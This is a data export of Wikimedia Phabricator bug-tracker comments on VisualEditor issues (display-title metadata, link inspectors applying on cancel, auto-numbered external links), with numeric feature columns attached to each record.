Chris has it right - it's effectively asking to implement DISPLAYTITLE properly, rather than DISPLAYTITLEIFNEEDEDTOBEANOVERRIDE.",,,1378766620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,11.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.571428571428571,0.7714285714285715,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Chris has it right - it's effectively asking to implement DISPLAYTITLE properly, rather than DISPLAYTITLEIFNEEDEDTOBEANOVERRIDE."
250384,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","According to James F at  bug 50452 comment 9 ""for this to be used in VisualEditor it would need to be a proper feature and not one hacked into a template""

The idea is not just to store what the title should be displayed as when it doesn't match the default, but to record what the title actually is in all cases. Presently there is afaik no way to tell that for example [[Parish ale]] is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a proper noun that should be italicised.",,,1378283614,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,9,,1.0,0.0,0.0,2.0,1.5,4.0,4.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,4.0,8.5,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,11.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,6.0,7.0,7.5,1.5,2.0,8.0,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,1.0,8.5,5.0,0.0,1.0,0.0,1.0,0.0,2.5,3.5,0.0,0.5,0.0,0.0,5.0,3.4601110461718294,0.7085037989479837,"According to James F at  bug 50452 comment 9 ""for this to be used in VisualEditor it would need to be a proper feature and not one hacked into a template""

The idea is not just to store what the title should be displayed as when it doesn't match the default, but to record what the title actually is in all cases. Presently there is afaik no way to tell that for example [[Parish ale]] is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a proper noun that should be italicised."
250383,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","I'm confused. Is this asking to move {{DISPLAYTITLE:...}} out of wikitext?

Displaytitle is a form of metadata, and it gets stored in the db separately, and can be queried separately, etc.",,,1377892939,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,9.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,9.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.533333333333333,0.8222222222222222,"I'm confused. Is this asking to move {{DISPLAYTITLE:...}} out of wikitext?

Displaytitle is a form of metadata, and it gets stored in the db separately, and can be queried separately, etc."
55546,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","If you start to add a link, and change your mind (e.g., you realized that you have the wrong word selected), there is no way to simply cancel adding a link.  You have to remove the link with the trashcan icon.

Steps to reproduce:

1. Select any word.
2. Press ctrl-K to enter link tool.
3. Attempt to cancel the link by closing the unwanted link tool dialog box using Esc key or the < button.
4. Discover that VisualEditor linked the word anyway.

If the Escape key and ""Cancel"" button are worthless for escaping/going back/cancelling, then they shouldn't be present or have any effect.

({T93749} altered this to re-add the cancel/close button.)",Low,25.0,1377799620,1433183735.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-reeypst4562edb7eoqfi,task_description,resolved,True,c1,3,False,False,False,8,,1.0,0.0,0.0,0.0,0.5,3.5,1.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,3.5,8.5,0.0,3.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,1.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,16.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,6.5,2.0,8.0,2.5,2.5,8.5,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,3.0,8.5,3.0,0.0,1.5,0.0,3.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,4.0,3.453748782862707,0.7200584225900681,"If you start to add a link, and change your mind (e.g., you realized that you have the wrong word selected), there is no way to simply cancel adding a link.  You have to remove the link with the trashcan icon.

Steps to reproduce:

1. Select any word.
2. Press ctrl-K to enter link tool.
3. Attempt to cancel the link by closing the unwanted link tool dialog box using Esc key or the < button.
4. Discover that VisualEditor linked the word anyway.

If the Escape key and ""Cancel"" button are worthless for escaping/going back/cancelling, then they shouldn't be present or have any effect.

({T93749} altered this to re-add the cancel/close button.)"
466909,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","Change 209695 merged by jenkins-bot:
Only apply annotations if 'done' is clicked

[[https://gerrit.wikimedia.org/r/209695]]",,,1433183692,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,100,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5833333333333335,0.875,"Change 209695 merged by jenkins-bot:
Only apply annotations if 'done' is clicked

[[GERRIT_URL]]"
465715,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","Change 209695 had a related patch set uploaded (by Jforrester):
Only apply annotations if 'done' is clicked

[[https://gerrit.wikimedia.org/r/209695]]
",,,1432909435,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,99,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7586206896551726,0.8620689655172413,"Change 209695 had a related patch set uploaded (by Jforrester):
Only apply annotations if 'done' is clicked

[[GERRIT_URL]]
"
454848,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","We now have a ""Remove"" button, which is nice, but since the link is automatically created when you open the inspector, most people don't know that if you did nothing and want nothing to make the link, then you still need to ""Remove"" the link that you didn't know you already made.",,,1430939284,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,96,,0.0,0.0,0.0,2.0,3.0,3.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,13.0,8.0,3.0,3.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,8.0,3.0,5.0,6.0,3.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,8.0,2.0,0.0,6.0,0.0,10.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,3.634920634920635,0.6349206349206349,"We now have a ""Remove"" button, which is nice, but since the link is automatically created when you open the inspector, most people don't know that if you did nothing and want nothing to make the link, then you still need to ""Remove"" the link that you didn't know you already made."
446568,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","Maybe we should label the ""cancel"" button ""remove"" or somesuch? I don't know…",,,1429559622,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,True,,,94,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.85,"Maybe we should label the ""cancel"" button ""remove"" or somesuch? I don't know…"
249361,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing",*** Bug 56431 has been marked as a duplicate of this bug. ***,,,1395197399,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56431 has been marked as a duplicate of this bug. ***
249356,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","I'm not sure that the < button is going to be interpreted as ""close and apply"".  It looks to me a lot more like a ""get me out of here"" or ""go back (to how things were)"" button.  I think that it ought to be treated the same as an Escape key.",,,1378763198,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,9.0,17.0,2.0,0.0,9.0,0.0,9.0,0.0,2.0,5.0,3.0,2.0,2.0,0.0,2.0,2.8636363636363638,0.7121212121212122,"I'm not sure that the < button is going to be interpreted as ""close and apply"".  It looks to me a lot more like a ""get me out of here"" or ""go back (to how things were)"" button.  I think that it ought to be treated the same as an Escape key."
249353,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","I'm getting very frustrated with the current behaviour of the link tool in this regard.

When I am in the link dialog and I press escape I want the dialog to exit and leave the page in the state it was in before I loaded the dialog, ignoring any changes I have made and whether I was adding or modifying a link.

The current behaviour of the < button (close and apply the current state) and the rubbish bin (close and remove link) are correct. 

There also though needs to be a button/icon though that closes and cancels all changes made (this is bug 52462).",,,1378124944,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,9,,1.5,0.0,0.5,0.0,0.0,3.5,2.5,0.0,1.5,0.0,2.0,0.5,0.0,0.0,1.0,3.5,0.0,2.5,8.0,0.0,1.5,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,8.5,4.0,5.5,2.5,5.5,11.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,4.0,0.0,1.5,1.5,0.0,2.5,0.0,0.0,1.0,3.737704918032787,0.680327868852459,"I'm getting very frustrated with the current behaviour of the link tool in this regard.

When I am in the link dialog and I press escape I want the dialog to exit and leave the page in the state it was in before I loaded the dialog, ignoring any changes I have made and whether I was adding or modifying a link.

The current behaviour of the < button (close and apply the current state) and the rubbish bin (close and remove link) are correct. 

There also though needs to be a button/icon though that closes and cancels all changes made (this is bug 52462)."
249349,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","This is due to fixing bug 51065; we can either have one or the other, but not both. I'm minded to stick with the behaviour as it now is, as it's less confusing that the previous form was.

Consequently, marking as WONTFIX. Very happy to be argued around to the opposite behaviour, however.",,,1377834959,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,2.0,2.0,2.0,11.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,3.0,0.0,12.0,15.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,2.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.6615384615384614,0.7384615384615385,"This is due to fixing bug 51065; we can either have one or the other, but not both. I'm minded to stick with the behaviour as it now is, as it's less confusing that the previous form was.

Consequently, marking as WONTFIX. Very happy to be argued around to the opposite behaviour, however."
55505,VisualEditor: Provide a way for users to edit auto-numbered external links,"The Parsoid team is considering a simplification of the different mw:ExtLink/* variants to just a single mw:ExtLink type. 

For most types this should not make much of a difference to VE, but for auto-numbered external links ([http://example.com]) it might, so I am looking for your input. I did some testing on https://www.mediawiki.org/wiki/User:GWicke/TestNumberedLinks. Changes to the text lead to corruption as in this diff:

https://www.mediawiki.org/w/index.php?title=User%3AGWicke%2FTestNumberedLinks&diff=772988&oldid=772987

There also does not seem to be any automatic re-numbering when a numbered link is changed into a plain external link.

What are you plans for the handling of numbered links?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1377728940,1386002036.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_description,resolved,True,c1,3,True,False,False,8,,1.5,0.0,0.0,0.5,1.0,7.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.5,3.5,10.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,16.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,5.5,3.0,9.0,0.5,0.5,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,2.5,10.5,2.0,0.5,0.0,0.0,2.5,0.0,1.5,3.0,0.0,1.0,0.0,0.5,0.5,3.8525021949078138,0.7774363476733976,"The Parsoid team is considering a simplification of the different mw:ExtLink/* variants to just a single mw:ExtLink type. 

For most types this should not make much of a difference to VE, but for auto-numbered external links ([URL it might, so I am looking for your input. I did some testing on URL Changes to the text lead to corruption as in this diff:

URL

There also does not seem to be any automatic re-numbering when a numbered link is changed into a plain external link.

What are you plans for the handling of numbered links?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
246850,VisualEditor: Provide a way for users to edit auto-numbered external links,*** Bug 57755 has been marked as a duplicate of this bug. ***,,,1386000770,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57755 has been marked as a duplicate of this bug. ***
246847,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 98114 merged by jenkins-bot:
Make autonumbered external links inspectable

https://gerrit.wikimedia.org/r/98114",,,1385801891,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,"Change 98114 merged by jenkins-bot:
Make autonumbered external links inspectable

GERRIT_URL"
246842,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 98114 had a related patch set uploaded by Catrope:
Make autonumbered external links inspectable

https://gerrit.wikimedia.org/r/98114",,,1385662180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,1.0,"Change 98114 had a related patch set uploaded by Catrope:
Make autonumbered external links inspectable

GERRIT_URL"
246837,VisualEditor: Provide a way for users to edit auto-numbered external links,*** Bug 57419 has been marked as a duplicate of this bug. ***,,,1385489060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57419 has been marked as a duplicate of this bug. ***
246831,VisualEditor: Provide a way for users to edit auto-numbered external links,"Though the code in gerrit 90432 is merged, that just adjusts how VisualEditor works with auto-numbered links to support Parsoid's changed behaviour - this bug remains undone. Resetting to ASSIGNED.",,,1382368642,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.666666666666667,0.9166666666666666,"Though the code in gerrit 90432 is merged, that just adjusts how VisualEditor works with auto-numbered links to support Parsoid's changed behaviour - this bug remains undone. Resetting to ASSIGNED."
246828,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 90432 merged by jenkins-bot:
Add a node type for numbered external links

https://gerrit.wikimedia.org/r/90432",,,1382353256,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,"Change 90432 merged by jenkins-bot:
Add a node type for numbered external links

GERRIT_URL"
246824,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 90432 had a related patch set uploaded by Catrope:
Add a node type for numbered external links

https://gerrit.wikimedia.org/r/90432",,,1382043276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.409090909090909,0.9545454545454546,"Change 90432 had a related patch set uploaded by Catrope:
Add a node type for numbered external links

GERRIT_URL"
246818,VisualEditor: Provide a way for users to edit auto-numbered external links,"I guess that means that we can go ahead and drop the explicit numbering in Parsoid in favor of pure CSS. We will also drop the /Numbered typeof suffix along with the other mw:ExtLink suffixes.

You will then get empty links with typeof=""mw:ExtLink"" as in this example.",,,1377816806,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,16.0,11.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.982142857142857,0.7857142857142857,"I guess that means that we can go ahead and drop the explicit numbering in Parsoid in favor of pure CSS. We will also drop the /Numbered typeof suffix along with the other mw:ExtLink suffixes.

You will then get empty links with typeof=""mw:ExtLink"" as in this example."
246811,VisualEditor: Provide a way for users to edit auto-numbered external links,"
* Supports:
  - http://caniuse.com/#feat=css-sel3 (CSS3 :empty)
  - http://caniuse.com/#feat=css-counters (counter-increment)
  - http://caniuse.com/#feat=css-gencontent (:before)

* Test case: http://jsfiddle.net/wTNc4/
  - Works fine in IE9: http://cl.ly/image/2r2L1F3U2X0r

